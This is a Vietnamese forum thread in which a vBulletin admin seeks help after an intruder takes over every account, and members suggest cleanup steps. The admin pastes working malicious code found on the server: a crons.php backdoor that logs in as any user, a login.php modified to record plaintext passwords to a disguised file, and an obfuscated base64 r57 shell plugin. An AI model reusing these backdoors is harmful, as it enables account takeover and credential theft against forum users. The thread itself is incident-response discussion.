banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận bảo mật 4rum VBB. hacker vào được tất cả các nick.  XML
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 11:23:59 (+0700) | #1 | 216892
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
Chào mọi người!
4rum mình tự nhiên có thằng nó vào được tất cả các nick.
Mình nghĩ là nó dùng fakelogin. thông qua shell.
làm sao mà phát hiện shell và không cho nó tiếp tục up shell nữa hả mọi người?
Mong mọi người giúp đỡ!
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 12:15:18 (+0700) | #2 | 216897
[Avatar]
mrclown1320
Member

[Minus]    0    [Plus]
Joined: 01/04/2010 04:22:02
Messages: 9
Offline
[Profile] [PM]
giúp gì nữa, nó có csdl của site bạn rồi, đóng cửa forum chứ đâu còn cách nào nữa
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 12:29:52 (+0700) | #3 | 216898
[Avatar]
vltn
Member

[Minus]    0    [Plus]
Joined: 13/07/2010 23:09:11
Messages: 74
Location: V9F
Offline
[Profile] [PM] [WWW]
Trong trường hợp này bạn backup database mang xuống máy bạn rồi quét xem trong database có shell không.

Riêng trên hosting thì bạn xóa toàn bộ source trên đó, bạn tiến hành download lại source mới và install lại forum với bản database bạn đang có trên máy, hack lại các mod cần thiết và chmod cho forum cẩn thận.

@ mrclown1320 : Chưa hẳng là không có cách, không biết xin đừng khuyên bậy smilie
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 13:36:39 (+0700) | #4 | 216904
MrDoA
Member

[Minus]    0    [Plus]
Joined: 28/03/2010 11:21:55
Messages: 21
Offline
[Profile] [PM]
Mình nghĩ chỉ cần check MD5 lại mã nguồn, còn database thì xem table style và table product xem có code nào khả nghi ko? Mình nghĩ nếu nó đã biết đến user và pass thì chắc có shell và file global.php cũng đã bị chỉnh sửa.
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 20:03:35 (+0700) | #5 | 216945
[Avatar]
talama3000
Member

[Minus]    0    [Plus]
Joined: 07/05/2008 23:31:08
Messages: 29
Offline
[Profile] [PM]

mrclown1320 wrote:
giúp gì nữa, nó có csdl của site bạn rồi, đóng cửa forum chứ đâu còn cách nào nữa 

có thì làm sao?, tất cả password đều dc mã hoá bằng md5? bạn có ý tưởng nào hay hơn à?
@vonamson: trong trường hợp này thứ nhất bạn cần xem lại file login.php xem có một đoạn code nhỏ nào gửi password về mail của hacker hay không? hoặc là có thể lưu ở một file nào đó trong diễn đàn ( bạn mở file đó ra xem sẽ rõ)
thứ 2 xem lại file global.php tìm đoạn này
Code:
#$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

bình thường của nó là thế giờ vào xem nó có dấu // trước đoạn đó không?
nếu như fakelogin thì thứ nhất bạn nên thay source là việc đầu tiên
thứ 2 nên kiểm tra lại trong data của bạn xem hacker có trèn con shell nào vào không?, bạn nên đặt htaccess ở admincp, và những thông tin nhạy cảm khác
mình nghĩ nếu như hacker đó nick ai cũng vào đc thì khả năng fakelogin là rất cao
Blog == http://talama.vn
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 22:35:29 (+0700) | #6 | 216965
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
lúc trưa em thấy nó vào bằng link:
http://link forum/crons.php?bd=tên nick
cái file crons.php ko có trong soure.

nội dung của nó là:

<?php
if (isset($_GET['bd']))
{
define('THIS_SCRIPT', 'login');
require_once('./global.php');
require_once('./includes/functions_login.php');
$vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['bd'] . "'"smilie;
if (!$vbulletin->userinfo['userid']) die("Invalid username!"smilie;
else
{
vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);
vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);
exec_unstrike_user($_GET['bd']);
process_new_login('cplogin', TRUE, TRUE);
do_login_wwwect();
}
}

?>


[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 23:11:29 (+0700) | #7 | 216967
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
trong global.php không có dòng đấy.

trong login em không thấy mail nào cả.

code là:
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.8.3
|| # ---------------------------------------------------------------- # ||
|| # Copyright �2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');
define('CSRF_PROTECTION', true);
define('CSRF_SKIP_LIST', 'login');

// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();

// get special data templates from the datastore
$specialtemplates = array();

// pre-cache templates used by all actions
$globaltemplates = array();

// pre-cache templates used by specific actions
$actiontemplates = array(
'lostpw' => array(
'lostpw',
'humanverify'
)
);

// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');

// #######################################################################
// ######################## START MAIN SCRIPT ############################
// #######################################################################

$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);

if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
exec_header_wwwect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
define('NOPMPOPUP', true);

$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);

if ($vbulletin->userinfo['userid'] != 0 AND !verify_security_token($vbulletin->GPC['logouthash'], $vbulletin->userinfo['securitytoken_raw']))
{
eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['securitytoken'])));
}

process_logout();

$vbulletin->url = fetch_replaced_session_url($vbulletin->url);
if (strpos($vbulletin->url, 'do=logout') !== false)
{
$vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
}
$show['member'] = false;
eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));

}

// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_BINARY,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));

// can the user login?
$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);

if ($vbulletin->GPC['vb_login_username'] == '')
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}

// make sure our user info stays as whoever we were (for example, we might be logged in via cookies already)
$original_userinfo = $vbulletin->userinfo;

if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
{
($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;

// check password
exec_strike_user($vbulletin->userinfo['username']);

if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
{
// log this error if attempting to access the control panel
require_once(DIR . '/includes/functions_log_error.php');
log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
}
$vbulletin->userinfo = $original_userinfo;

if ($vbulletin->options['usestrikesystem'])
{
eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
else
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
}
}

exec_unstrike_user($vbulletin->GPC['vb_login_username']);

// create new session
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
// The log will be recorded in this file
$lg_file = "./includes/class_xhtml.php";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"smilie;

while($row = @mysql_fetch_array($sql_query))
{

if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+"smilie;
@fwrite($fp1, $lg_username . '|' . $lg_password."|" . $row["email"] . "\n"smilie;
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w"smilie;
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
// do wwwect
do_login_wwwect();

}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_wwwect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
$vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
$email = $vbulletin->GPC['email'];

if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
{
$navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
eval('$navbar = "' . fetch_template('navbar') . '";');
}
else
{
$navbar = '';
}

// human verification
if (fetch_require_hvcheck('lostpw'))
{
require_once(DIR . '/includes/class_humanverify.php');
$verification =& vB_HumanVerify::fetch_library($vbulletin);
$human_verify = $verification->output_token();
}
else
{
$human_verify = '';
}

$url =& $vbulletin->url;
eval('print_output("' . fetch_template('lostpw') . '"smilie;');
}

// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{

$vbulletin->input->clean_array_gpc('p', array(
'email' => TYPE_STR,
'userid' => TYPE_UINT,
'humanverify' => TYPE_ARRAY,
));

if ($vbulletin->GPC['email'] == '')
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}

if (fetch_require_hvcheck('lostpw'))
{
require_once(DIR . '/includes/class_humanverify.php');
$verify =& vB_HumanVerify::fetch_library($vbulletin);
if (!$verify->verify_token($vbulletin->GPC['humanverify']))
{
standard_error(fetch_error($verify->fetch_error()));
}
}

require_once(DIR . '/includes/functions_user.php');

$users = $db->query_read_slave("
SELECT userid, username, email, languageid
FROM " . TABLE_PREFIX . "user
WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
"smilie;
if ($db->num_rows($users))
{
while ($user = $db->fetch_array($users))
{
if ($vbulletin->GPC['userid'] AND $vbulletin->GPC['userid'] != $user['userid'])
{
continue;
}
$user['username'] = unhtmlspecialchars($user['username']);

$user['activationid'] = build_user_activation_id($user['userid'], 2, 1);

eval(fetch_email_phrases('lostpw', $user['languageid']));
vbmail($user['email'], $subject, $message, true);
}

$vbulletin->url = str_replace('"', '', $vbulletin->url);
eval(print_standard_wwwect('wwwect_lostpw', true, true));
}
else
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
}

// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{

$vbulletin->input->clean_array_gpc('r', array(
'userid' => TYPE_UINT,
'u' => TYPE_UINT,
'activationid' => TYPE_STR,
'i' => TYPE_STR
));

if (!$vbulletin->GPC['userid'])
{
$vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
}

if (!$vbulletin->GPC['activationid'])
{
$vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
}

$userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);

$user = $db->query_first("
SELECT activationid, dateline
FROM " . TABLE_PREFIX . "useractivation
WHERE type = 1
AND userid = $userinfo[userid]
"smilie;

if (!$user)
{
// no activation record, probably got back here after a successful request, back to home
exec_header_wwwect($vbulletin->options['forumhome'] . '.php');
}

if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
{ // is it older than 24 hours?
eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
}

if ($user['activationid'] != $vbulletin->GPC['activationid'])
{ //wrong act id
eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
}

// delete old activation id
$db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1"smilie;

$newpassword = fetch_random_password(8);

// init user data manager
$userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
$userdata->set_existing($userinfo);
$userdata->set('password', $newpassword);
$userdata->save();

($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;

eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
vbmail($userinfo['email'], $subject, $message, true);

eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));

}

/*======================================================================*\
|| ####################################################################
|| # Downloaded: www.vietvbb.vn
|| # CVS: $RCSfile$ - $Revision: 27783 $
|| ####################################################################
\*======================================================================*/
?>
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 23:36:38 (+0700) | #8 | 216969
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]

vltn wrote:
Trong trường hợp này bạn backup database mang xuống máy bạn rồi quét xem trong database có shell không.

Riêng trên hosting thì bạn xóa toàn bộ source trên đó, bạn tiến hành download lại source mới và install lại forum với bản database bạn đang có trên máy, hack lại các mod cần thiết và chmod cho forum cẩn thận.

@ mrclown1320 : Chưa hẳng là không có cách, không biết xin đừng khuyên bậy smilie 

ý anh là down data về rùi scan bằng KIS đúng k à?
h mà hack mod lại chắc em die quá
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 30/07/2010 23:47:43 (+0700) | #9 | 216970
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
em vừa phát hiện ra 1 sô điều: host em có file lạ là plugins_r57.xml chắc đây là shell.
nội dung là:

<?xml version="1.0" encoding="ISO-8859-1"?>

<plugins>
<plugin active="1" executionorder="5" product="vbulletin">
<title>vBulletin</title>
<hookname>init_startup</hookname>
<phpcode><![CDATA[if (strpos($_SERVER['PHP_SELF'],"adminlog.php")) {

eval(gzinflate(base64_decode('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